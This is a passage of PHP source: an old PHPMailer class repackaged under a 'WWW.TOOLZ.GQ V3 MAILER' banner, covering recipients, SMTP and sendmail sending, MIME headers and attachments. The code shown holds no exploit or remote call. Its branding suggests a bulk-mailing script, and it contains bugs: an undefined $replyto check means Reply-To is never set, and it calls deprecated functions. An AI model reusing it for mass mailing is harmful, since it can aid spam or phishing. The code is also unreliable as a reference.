  1695.   /////////////////////////////////////////////////
  1696.   // METHODS, RECIPIENTS
  1697.   /////////////////////////////////////////////////
  1698.  
  1699.   /**
  1700.    * Adds a "To" address.
  1701.    * @param string $address
  1702.    * @param string $name
  1703.    * @return void
  1704.    */
  1705.   function AddAddress($address, $name = '') {
  1706.     $cur = count($this->to);
  1707.     $this->to[$cur][0] = trim($address);
  1708.     $this->to[$cur][1] = $name;
  1709.   }
  1710.  
  1711.   /**
  1712.    * Adds a "Cc" address. Note: this function works
  1713.    * with the SMTP mailer on win32, not with the "mail"
  1714.    * mailer.
  1715.    * @param string $address
  1716.    * @param string $name
  1717.    * @return void
  1718.    */
  1719.   function AddCC($address, $name = '') {
  1720.     $cur = count($this->cc);
  1721.     $this->cc[$cur][0] = trim($address);
  1722.     $this->cc[$cur][1] = $name;
  1723.   }
  1724.  
  1725.   /**
  1726.    * Adds a "Bcc" address. Note: this function works
  1727.    * with the SMTP mailer on win32, not with the "mail"
  1728.    * mailer.
  1729.    * @param string $address
  1730.    * @param string $name
  1731.    * @return void
  1732.    */
  1733.   function AddBCC($address, $name = '') {
  1734.     $cur = count($this->bcc);
  1735.     $this->bcc[$cur][0] = trim($address);
  1736.     $this->bcc[$cur][1] = $name;
  1737.   }
  1738.  
  1739.   /**
  1740.    * Adds a "Reply-To" address.
  1741.    * @param string $address
  1742.    * @param string $name
  1743.    * @return void
  1744.    */
  1745.   function AddReplyTo($address, $name = '') {
  1746.     $cur = count($this->ReplyTo);
  1747.     $this->ReplyTo[$cur][0] = trim($address);
  1748.     $this->ReplyTo[$cur][1] = $name;
  1749.   }
  1750.  
  1751.   /////////////////////////////////////////////////
  1752.   // METHODS, MAIL SENDING
  1753.   /////////////////////////////////////////////////
  1754.  
  1755.   /**
  1756.    * Creates message and assigns Mailer. If the message is
  1757.    * not sent successfully then it returns false.  Use the ErrorInfo
  1758.    * variable to view description of the error.
  1759.    * @return bool
  1760.    */
  1761.   function Send() {
  1762.     $header = '';
  1763.     $body = '';
  1764.     $result = true;
  1765.  
  1766.     if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1767.       $this->SetError($this->Lang('provide_address'));
  1768.       return false;
  1769.     }
  1770.  
  1771.     /* Set whether the message is multipart/alternative */
  1772.     if(!empty($this->AltBody)) {
  1773.       $this->ContentType = 'multipart/alternative';
  1774.     }
  1775.  
  1776.     $this->error_count = 0; // reset errors
  1777.     $this->SetMessageType();
  1778.     $header .= $this->CreateHeader();
  1779.     $body = $this->CreateBody();
  1780.  
  1781.     if($body == '') {
  1782.       return false;
  1783.     }
  1784.  
  1785.     /* Choose the mailer */
  1786.     switch($this->Mailer) {
  1787.       case 'sendmail':
  1788.         $result = $this->SendmailSend($header, $body);
  1789.         break;
  1790.       case 'smtp':
  1791.         $result = $this->SmtpSend($header, $body);
  1792.         break;
  1793.       case 'mail':
  1794.         $result = $this->MailSend($header, $body);
  1795.         break;
  1796.       default:
  1797.         $result = $this->MailSend($header, $body);
  1798.         break;
  1799.         //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1800.         //$result = false;
  1801.         //break;
  1802.     }
  1803.  
  1804.     return $result;
  1805.   }
  1806.  
  1807.   /**
  1808.    * Sends mail using the $Sendmail program.
  1809.    * @access private
  1810.    * @return bool
  1811.    */
  1812.   function SendmailSend($header, $body) {
  1813.     if ($this->Sender != '') {
  1814.       $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1815.     } else {
  1816.       $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1817.     }
  1818.  
  1819.     if(!@$mail = popen($sendmail, 'w')) {
  1820.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1821.       return false;
  1822.     }
  1823.  
  1824.     fputs($mail, $header);
  1825.     fputs($mail, $body);
  1826.  
  1827.     $result = pclose($mail);
  1828.     if (version_compare(phpversion(), '4.2.3') == -1) {
  1829.       $result = $result >> 8 & 0xFF;
  1830.     }
  1831.     if($result != 0) {
  1832.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1833.       return false;
  1834.     }
  1835.     return true;
  1836.   }
  1837.  
  1838.   /**
  1839.    * Sends mail using the PHP mail() function.
  1840.    * @access private
  1841.    * @return bool
  1842.    */
  1843.   function MailSend($header, $body) {
  1844.  
  1845.     $to = '';
  1846.     for($i = 0; $i < count($this->to); $i++) {
  1847.       if($i != 0) { $to .= ', '; }
  1848.       $to .= $this->AddrFormat($this->to[$i]);
  1849.     }
  1850.  
  1851.     $toArr = split(',', $to);
  1852.  
  1853.     $params = sprintf("-oi -f %s", $this->Sender);
  1854.     if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1855.       $old_from = ini_get('sendmail_from');
  1856.       ini_set('sendmail_from', $this->Sender);
  1857.       if ($this->SingleTo === true && count($toArr) > 1) {
  1858.         foreach ($toArr as $key => $val) {
  1859.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1860.         }
  1861.       } else {
  1862.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1863.       }
  1864.     } else {
  1865.       if ($this->SingleTo === true && count($toArr) > 1) {
  1866.         foreach ($toArr as $key => $val) {
  1867.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1868.         }
  1869.       } else {
  1870.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1871.       }
  1872.     }
  1873.  
  1874.     if (isset($old_from)) {
  1875.       ini_set('sendmail_from', $old_from);
  1876.     }
  1877.  
  1878.     if(!$rt) {
  1879.       $this->SetError($this->Lang('instantiate'));
  1880.       return false;
  1881.     }
  1882.  
  1883.     return true;
  1884.   }
  1885.  
  1886.   /**
  1887.    * Sends mail via SMTP using PhpSMTP (Author:
  1888.    * Chris Ryan).  Returns bool.  Returns false if there is a
  1889.    * bad MAIL FROM, RCPT, or DATA input.
  1890.    * @access private
  1891.    * @return bool
  1892.    */
  1893.   function SmtpSend($header, $body) {
  1894.     $error = '';
  1895.     $bad_rcpt = array();
  1896.  
  1897.     if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1898.       return false;
  1899.     }
  1900.  
  1901.     $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1902.     if(!$this->smtp->Mail($smtp_from)) {
  1903.       $error = $this->Lang('from_failed') . $smtp_from;
  1904.       $this->SetError($error);
  1905.       $this->smtp->Reset();
  1906.       return false;
  1907.     }
  1908.  
  1909.     /* Attempt to send attach all recipients */
  1910.     for($i = 0; $i < count($this->to); $i++) {
  1911.       if(!$this->smtp->Recipient($this->to[$i][0])) {
  1912.         $bad_rcpt[] = $this->to[$i][0];
  1913.       }
  1914.     }
  1915.     for($i = 0; $i < count($this->cc); $i++) {
  1916.       if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1917.         $bad_rcpt[] = $this->cc[$i][0];
  1918.       }
  1919.     }
  1920.     for($i = 0; $i < count($this->bcc); $i++) {
  1921.       if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1922.         $bad_rcpt[] = $this->bcc[$i][0];
  1923.       }
  1924.     }
  1925.  
  1926.     if(count($bad_rcpt) > 0) { // Create error message
  1927.       for($i = 0; $i < count($bad_rcpt); $i++) {
  1928.         if($i != 0) {
  1929.           $error .= ', ';
  1930.         }
  1931.         $error .= $bad_rcpt[$i];
  1932.  
  1933.       }
  1934.       $error = $this->Lang('recipients_failed') . $error;
  1935.       $this->SetError($error);
  1936.       $this->smtp->Reset();
  1937.       return false;
  1938.     }
  1939.  
  1940.     if(!$this->smtp->Data($header . $body)) {
  1941.       $this->SetError($this->Lang('data_not_accepted'));
  1942.       $this->smtp->Reset();
  1943.       return false;
  1944.     }
  1945.     if($this->SMTPKeepAlive == true) {
  1946.       $this->smtp->Reset();
  1947.     } else {
  1948.       $this->SmtpClose();
  1949.     }
  1950.  
  1951.     return true;
  1952.   }
  1953.  
  1954.   /**
  1955.    * Initiates a connection to an SMTP server.  Returns false if the
  1956.    * operation failed.
  1957.    * @access private
  1958.    * @return bool
  1959.    */
  1960.   function SmtpConnect() {
  1961.     if($this->smtp == NULL) {
  1962.       $this->smtp = new SMTP();
  1963.     }
  1964.  
  1965.     $this->smtp->do_debug = $this->SMTPDebug;
  1966.     $hosts = explode(';', $this->Host);
  1967.     $index = 0;
  1968.     $connection = ($this->smtp->Connected());
  1969.  
  1970.     /* Retry while there is no connection */
  1971.     while($index < count($hosts) && $connection == false) {
  1972.       $hostinfo = array();
  1973.       if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1974.         $host = $hostinfo[1];
  1975.         $port = $hostinfo[2];
  1976.       } else {
  1977.         $host = $hosts[$index];
  1978.         $port = $this->Port;
  1979.       }
  1980.  
  1981.       if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1982.         if ($this->Helo != '') {
  1983.           $this->smtp->Hello($this->Helo);
  1984.         } else {
  1985.           $this->smtp->Hello($this->ServerHostname());
  1986.         }
  1987.  
  1988.         $connection = true;
  1989.         if($this->SMTPAuth) {
  1990.           if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1991.             $this->SetError($this->Lang('authenticate'));
  1992.             $this->smtp->Reset();
  1993.             $connection = false;
  1994.           }
  1995.         }
  1996.       }
  1997.       $index++;
  1998.     }
  1999.     if(!$connection) {
  2000.       $this->SetError($this->Lang('connect_host'));
  2001.     }
  2002.  
  2003.     return $connection;
  2004.   }
  2005.  
  2006.   /**
  2007.    * Closes the active SMTP session if one exists.
  2008.    * @return void
  2009.    */
  2010.   function SmtpClose() {
  2011.     if($this->smtp != NULL) {
  2012.       if($this->smtp->Connected()) {
  2013.         $this->smtp->Quit();
  2014.         $this->smtp->Close();
  2015.       }
  2016.     }
  2017.   }
  2018.  
  2019.   /**
  2020.    * Sets the language for all class error messages.  Returns false
  2021.    * if it cannot load the language file.  The default language type
  2022.    * is English.
  2023.    * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2024.    * @param string $lang_path Path to the language file directory
  2025.    * @access public
  2026.    * @return bool
  2027.    */
  2028.   function SetLanguage($lang_type, $lang_path = 'language/') {
  2029.     if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2030.       include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2031.     } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2032.       include($lang_path.'phpmailer.lang-en.php');
  2033.     } else {
  2034.       $this->SetError('Could not load language file');
  2035.       return false;
  2036.     }
  2037.     $this->language = $PHPMAILER_LANG;
  2038.  
  2039.     return true;
  2040.   }
  2041.  
  2042.   /////////////////////////////////////////////////
  2043.   // METHODS, MESSAGE CREATION
  2044.   /////////////////////////////////////////////////
  2045.  
  2046.   /**
  2047.    * Creates recipient headers.
  2048.    * @access private
  2049.    * @return string
  2050.    */
  2051.   function AddrAppend($type, $addr) {
  2052.     $addr_str = $type . ': ';
  2053.     $addr_str .= $this->AddrFormat($addr[0]);
  2054.     if(count($addr) > 1) {
  2055.       for($i = 1; $i < count($addr); $i++) {
  2056.         $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2057.       }
  2058.     }
  2059.     $addr_str .= $this->LE;
  2060.  
  2061.     return $addr_str;
  2062.   }
  2063.  
  2064.   /**
  2065.    * Formats an address correctly.
  2066.    * @access private
  2067.    * @return string
  2068.    */
  2069.   function AddrFormat($addr) {
  2070.     if(empty($addr[1])) {
  2071.       $formatted = $this->SecureHeader($addr[0]);
  2072.     } else {
  2073.       $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2074.     }
  2075.  
  2076.     return $formatted;
  2077.   }
  2078.  
  2079.   /**
  2080.    * Wraps message for use with mailers that do not
  2081.    * automatically perform wrapping and for quoted-printable.
  2082.    * Original written by philippe.
  2083.    * @access private
  2084.    * @return string
  2085.    */
  2086.   function WrapText($message, $length, $qp_mode = false) {
  2087.     $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2088.     // If utf-8 encoding is used, we will need to make sure we don't
  2089.     // split multibyte characters when we wrap
  2090.     $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2091.  
  2092.     $message = $this->FixEOL($message);
  2093.     if (substr($message, -1) == $this->LE) {
  2094.       $message = substr($message, 0, -1);
  2095.     }
  2096.  
  2097.     $line = explode($this->LE, $message);
  2098.     $message = '';
  2099.     for ($i=0 ;$i < count($line); $i++) {
  2100.       $line_part = explode(' ', $line[$i]);
  2101.       $buf = '';
  2102.       for ($e = 0; $e<count($line_part); $e++) {
  2103.         $word = $line_part[$e];
  2104.         if ($qp_mode and (strlen($word) > $length)) {
  2105.           $space_left = $length - strlen($buf) - 1;
  2106.           if ($e != 0) {
  2107.             if ($space_left > 20) {
  2108.               $len = $space_left;
  2109.               if ($is_utf8) {
  2110.                 $len = $this->UTF8CharBoundary($word, $len);
  2111.               } elseif (substr($word, $len - 1, 1) == "=") {
  2112.                 $len--;
  2113.               } elseif (substr($word, $len - 2, 1) == "=") {
  2114.                 $len -= 2;
  2115.               }
  2116.               $part = substr($word, 0, $len);
  2117.               $word = substr($word, $len);
  2118.               $buf .= ' ' . $part;
  2119.               $message .= $buf . sprintf("=%s", $this->LE);
  2120.             } else {
  2121.               $message .= $buf . $soft_break;
  2122.             }
  2123.             $buf = '';
  2124.           }
  2125.           while (strlen($word) > 0) {
  2126.             $len = $length;
  2127.             if ($is_utf8) {
  2128.               $len = $this->UTF8CharBoundary($word, $len);
  2129.             } elseif (substr($word, $len - 1, 1) == "=") {
  2130.               $len--;
  2131.             } elseif (substr($word, $len - 2, 1) == "=") {
  2132.               $len -= 2;
  2133.             }
  2134.             $part = substr($word, 0, $len);
  2135.             $word = substr($word, $len);
  2136.  
  2137.             if (strlen($word) > 0) {
  2138.               $message .= $part . sprintf("=%s", $this->LE);
  2139.             } else {
  2140.               $buf = $part;
  2141.             }
  2142.           }
  2143.         } else {
  2144.           $buf_o = $buf;
  2145.           $buf .= ($e == 0) ? $word : (' ' . $word);
  2146.  
  2147.           if (strlen($buf) > $length and $buf_o != '') {
  2148.             $message .= $buf_o . $soft_break;
  2149.             $buf = $word;
  2150.           }
  2151.         }
  2152.       }
  2153.       $message .= $buf . $this->LE;
  2154.     }
  2155.  
  2156.     return $message;
  2157.   }
  2158.  
  2159.   /**
  2160.    * Finds last character boundary prior to maxLength in a utf-8
  2161.    * quoted (printable) encoded string.
  2162.    * Original written by Colin Brown.
  2163.    * @access private
  2164.    * @param string $encodedText utf-8 QP text
  2165.    * @param int    $maxLength   find last character boundary prior to this length
  2166.    * @return int
  2167.    */
  2168.   function UTF8CharBoundary($encodedText, $maxLength) {
  2169.     $foundSplitPos = false;
  2170.     $lookBack = 3;
  2171.     while (!$foundSplitPos) {
  2172.       $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2173.       $encodedCharPos = strpos($lastChunk, "=");
  2174.       if ($encodedCharPos !== false) {
  2175.         // Found start of encoded character byte within $lookBack block.
  2176.         // Check the encoded byte value (the 2 chars after the '=')
  2177.         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2178.         $dec = hexdec($hex);
  2179.         if ($dec < 128) { // Single byte character.
  2180.           // If the encoded char was found at pos 0, it will fit
  2181.           // otherwise reduce maxLength to start of the encoded char
  2182.           $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2183.           $maxLength - ($lookBack - $encodedCharPos);
  2184.           $foundSplitPos = true;
  2185.         } elseif ($dec >= 192) { // First byte of a multi byte character
  2186.           // Reduce maxLength to split at start of character
  2187.           $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2188.           $foundSplitPos = true;
  2189.         } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2190.           $lookBack += 3;
  2191.         }
  2192.       } else {
  2193.         // No encoded character found
  2194.         $foundSplitPos = true;
  2195.       }
  2196.     }
  2197.     return $maxLength;
  2198.   }
  2199.  
  2200.   /**
  2201.    * Set the body wrapping.
  2202.    * @access private
  2203.    * @return void
  2204.    */
  2205.   function SetWordWrap() {
  2206.     if($this->WordWrap < 1) {
  2207.       return;
  2208.     }
  2209.  
  2210.     switch($this->message_type) {
  2211.       case 'alt':
  2212.         /* fall through */
  2213.       case 'alt_attachments':
  2214.         $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2215.         break;
  2216.       default:
  2217.         $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2218.         break;
  2219.     }
  2220.   }
  2221.  
  2222.   /**
  2223.    * Assembles message header.
  2224.    * @access private
  2225.    * @return string
  2226.    */
  2227.   function CreateHeader() {
  2228.     $result = '';
  2229.  
  2230.     /* Set the boundaries */
  2231.     $uniq_id = md5(uniqid(time()));
  2232.     $this->boundary[1] = 'b1_' . $uniq_id;
  2233.     $this->boundary[2] = 'b2_' . $uniq_id;
  2234.  
  2235.     $result .= $this->HeaderLine('Date', $this->RFCDate());
  2236.     if($this->Sender == '') {
  2237.       $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2238.     } else {
  2239.       $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2240.     }
  2241.  
  2242.     /* To be created automatically by mail() */
  2243.     if($this->Mailer != 'mail') {
  2244.       if(count($this->to) > 0) {
  2245.         $result .= $this->AddrAppend('To', $this->to);
  2246.       } elseif (count($this->cc) == 0) {
  2247.         $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2248.       }
  2249.       if(count($this->cc) > 0) {
  2250.         $result .= $this->AddrAppend('Cc', $this->cc);
  2251.       }
  2252.     }
  2253.  
  2254.     $from = array();
  2255.     $from[0][0] = trim($this->From);
  2256.     $from[0][1] = $this->FromName;
  2257.     $result .= $this->AddrAppend('From', $from);
  2258.  
  2259.     /* sendmail and mail() extract Cc from the header before sending */
  2260.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2261.       $result .= $this->AddrAppend('Cc', $this->cc);
  2262.     }
  2263.  
  2264.     /* sendmail and mail() extract Bcc from the header before sending */
  2265.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2266.       $result .= $this->AddrAppend('Bcc', $this->bcc);
  2267.     }
  2268.         if($replyto != "")
  2269.         {
  2270.     if(count($this->ReplyTo) > 0) {
  2271.       $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2272.     }
  2273.         }
  2274.     /* mail() sets the subject itself */
  2275.     if($this->Mailer != 'mail') {
  2276.       $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2277.     }
  2278.  
  2279.     if($this->MessageID != '') {
  2280.       $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2281.     } else {
  2282.       $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2283.     }
  2284.     $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2285.     if($this->ConfirmReadingTo != '') {
  2286.       $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2287.     }
  2288.  
  2289.     // Add custom headers
  2290.     for($index = 0; $index < count($this->CustomHeader); $index++) {
  2291.       $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2292.     }
  2293.     if (!$this->sign_key_file) {
  2294.       $result .= $this->HeaderLine('MIME-Version', '1.0');
  2295.       $result .= $this->GetMailMIME();
  2296.     }
  2297.  
  2298.     return $result;
  2299.   }
  2300.  
  2301.   /**
  2302.    * Returns the message MIME.
  2303.    * @access private
  2304.    * @return string
  2305.    */
  2306.   function GetMailMIME() {
  2307.     $result = '';
  2308.     switch($this->message_type) {
  2309.       case 'plain':
  2310.         $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2311.         $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2312.         break;
  2313.       case 'attachments':
  2314.         /* fall through */
  2315.       case 'alt_attachments':
  2316.         if($this->InlineImageExists()){
  2317.           $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2318.         } else {
  2319.           $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2320.           $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2321.         }
  2322.         break;
  2323.       case 'alt':
  2324.         $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2325.         $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2326.         break;
  2327.     }
  2328.  
  2329.     if($this->Mailer != 'mail') {
  2330.       $result .= $this->LE.$this->LE;
  2331.     }
  2332.  
  2333.     return $result;
  2334.   }
  2335.  
  2336.   /**
  2337.    * Assembles the message body.  Returns an empty string on failure.
  2338.    * @access private
  2339.    * @return string
  2340.    */
  2341.   function CreateBody() {
  2342.     $result = '';
  2343.     if ($this->sign_key_file) {
  2344.       $result .= $this->GetMailMIME();
  2345.     }
  2346.  
  2347.     $this->SetWordWrap();
  2348.  
  2349.     switch($this->message_type) {
  2350.       case 'alt':
  2351.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2352.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2353.         $result .= $this->LE.$this->LE;
  2354.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2355.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2356.         $result .= $this->LE.$this->LE;
  2357.         $result .= $this->EndBoundary($this->boundary[1]);
  2358.         break;
  2359.       case 'plain':
  2360.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2361.         break;
  2362.       case 'attachments':
  2363.         $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2364.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2365.         $result .= $this->LE;
  2366.         $result .= $this->AttachAll();
  2367.         break;
  2368.       case 'alt_attachments':
  2369.         $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2370.         $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2371.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2372.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2373.         $result .= $this->LE.$this->LE;
  2374.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2375.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2376.         $result .= $this->LE.$this->LE;
  2377.         $result .= $this->EndBoundary($this->boundary[2]);
  2378.         $result .= $this->AttachAll();
  2379.         break;
  2380.     }
  2381.  
  2382.     if($this->IsError()) {
  2383.       $result = '';
  2384.     } else if ($this->sign_key_file) {
  2385.       $file = tempnam("", "mail");
  2386.       $fp = fopen($file, "w");
  2387.       fwrite($fp, $result);
  2388.       fclose($fp);
  2389.       $signed = tempnam("", "signed");
  2390.  
  2391.       if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2392.         $fp = fopen($signed, "r");
  2393.         $result = fread($fp, filesize($this->sign_key_file));
  2394.         fclose($fp);
  2395.       } else {
  2396.         $this->SetError($this->Lang("signing").openssl_error_string());
  2397.         $result = '';
  2398.       }
  2399.  
  2400.       unlink($file);
  2401.       unlink($signed);
  2402.     }
  2403.  
  2404.     return $result;
  2405.   }
  2406. /////////////////////////////////////////////////////////////////////////////////////////
  2407. /////////////////////////////////////////////////////////////////////////////////////////
  2408.  
  2409. ///////////////////////// WWW.TOOLZ.GQ V3 MAILER  //////////////////////////////////
  2410.  
  2411. /////////////////////////////////////////////////////////////////////////////////////////
  2412. /////////////////////////////////////////////////////////////////////////////////////////
  2413.   /**
  2414.    * Returns the start of a message boundary.
  2415.    * @access private
  2416.    */
  2417.   function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2418.     $result = '';
  2419.     if($charSet == '') {
  2420.       $charSet = $this->CharSet;
  2421.     }
  2422.     if($contentType == '') {
  2423.       $contentType = $this->ContentType;
  2424.     }
  2425.     if($encoding == '') {
  2426.       $encoding = $this->Encoding;
  2427.     }
  2428.     $result .= $this->TextLine('--' . $boundary);
  2429.     $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2430.     $result .= $this->LE;
  2431.     $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2432.     $result .= $this->LE;
  2433.  
  2434.     return $result;
  2435.   }
  2436.  
  2437.   /**
  2438.    * Returns the end of a message boundary.
  2439.    * @access private
  2440.    */
  2441.   function EndBoundary($boundary) {
  2442.     return $this->LE . '--' . $boundary . '--' . $this->LE;
  2443.   }
  2444.  
  2445.   /**
  2446.    * Sets the message type.
  2447.    * @access private
  2448.    * @return void
  2449.    */
  2450.   function SetMessageType() {
  2451.     if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2452.       $this->message_type = 'plain';
  2453.     } else {
  2454.       if(count($this->attachment) > 0) {
  2455.         $this->message_type = 'attachments';
  2456.       }
  2457.       if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2458.         $this->message_type = 'alt';
  2459.       }
  2460.       if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2461.         $this->message_type = 'alt_attachments';
  2462.       }
  2463.     }
  2464.   }
  2465.  
  2466.   /* Returns a formatted header line.
  2467.    * @access private
  2468.    * @return string
  2469.    */
  2470.   function HeaderLine($name, $value) {
  2471.     return $name . ': ' . $value . $this->LE;
  2472.   }
  2473.  
  2474.   /**
  2475.    * Returns a formatted mail line.
  2476.    * @access private
  2477.    * @return string
  2478.    */
  2479.   function TextLine($value) {
  2480.     return $value . $this->LE;
  2481.   }
  2482.  
  2483.   /////////////////////////////////////////////////
  2484.   // CLASS METHODS, ATTACHMENTS
  2485.   /////////////////////////////////////////////////
  2486.  
  2487.   /**
  2488.    * Adds an attachment from a path on the filesystem.
  2489.    * Returns false if the file could not be found
  2490.    * or accessed.
  2491.    * @param string $path Path to the attachment.
  2492.    * @param string $name Overrides the attachment name.
  2493.    * @param string $encoding File encoding (see $Encoding).
  2494.    * @param string $type File extension (MIME) type.
  2495.    * @return bool
  2496.    */
  2497.   function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2498.     if(!@is_file($path)) {
  2499.       $this->SetError($this->Lang('file_access') . $path);
  2500.       return false;
  2501.     }
  2502.  
  2503.     $filename = basename($path);
  2504.     if($name == '') {
  2505.       $name = $filename;
  2506.     }
  2507.  
  2508.     $cur = count($this->attachment);
  2509.     $this->attachment[$cur][0] = $path;
  2510.     $this->attachment[$cur][1] = $filename;
  2511.     $this->attachment[$cur][2] = $name;
  2512.     $this->attachment[$cur][3] = $encoding;
  2513.     $this->attachment[$cur][4] = $type;
  2514.     $this->attachment[$cur][5] = false; // isStringAttachment
  2515.     $this->attachment[$cur][6] = 'attachment';
  2516.     $this->attachment[$cur][7] = 0;
  2517.  
  2518.     return true;
  2519.   }
  2520.  
  2521.   /**
  2522.    * Attaches all fs, string, and binary attachments to the message.
  2523.    * Returns an empty string on failure.
  2524.    * @access private
  2525.    * @return string
  2526.    */
  2527.   function AttachAll() {
  2528.     /* Return text of body */
  2529.     $mime = array();
  2530.  
  2531.     /* Add all attachments */
  2532.     for($i = 0; $i < count($this->attachment); $i++) {
  2533.       /* Check for string attachment */
  2534.       $bString = $this->attachment[$i][5];
  2535.       if ($bString) {
  2536.         $string = $this->attachment[$i][0];
  2537.       } else {
  2538.         $path = $this->attachment[$i][0];
  2539.       }
  2540.  
  2541.       $filename    = $this->attachment[$i][1];
  2542.       $name        = $this->attachment[$i][2];
  2543.       $encoding    = $this->attachment[$i][3];
  2544.       $type        = $this->attachment[$i][4];
  2545.       $disposition = $this->attachment[$i][6];
  2546.       $cid         = $this->attachment[$i][7];
  2547.  
  2548.       $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2549.       $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2550.       $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2551.  
  2552.       if($disposition == 'inline') {
  2553.         $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2554.       }
  2555.  
  2556.       $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2557.  
  2558.       /* Encode as string attachment */
  2559.       if($bString) {
  2560.         $mime[] = $this->EncodeString($string, $encoding);
  2561.         if($this->IsError()) {
  2562.           return '';
  2563.         }
  2564.         $mime[] = $this->LE.$this->LE;
  2565.       } else {
  2566.         $mime[] = $this->EncodeFile($path, $encoding);
  2567.         if($this->IsError()) {
  2568.           return '';
  2569.         }
  2570.         $mime[] = $this->LE.$this->LE;
  2571.       }
  2572.     }
  2573.  
  2574.     $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2575.  
  2576.     return join('', $mime);
  2577.   }
  2578.  
  2579.   /**
  2580.    * Encodes attachment in requested format.  Returns an
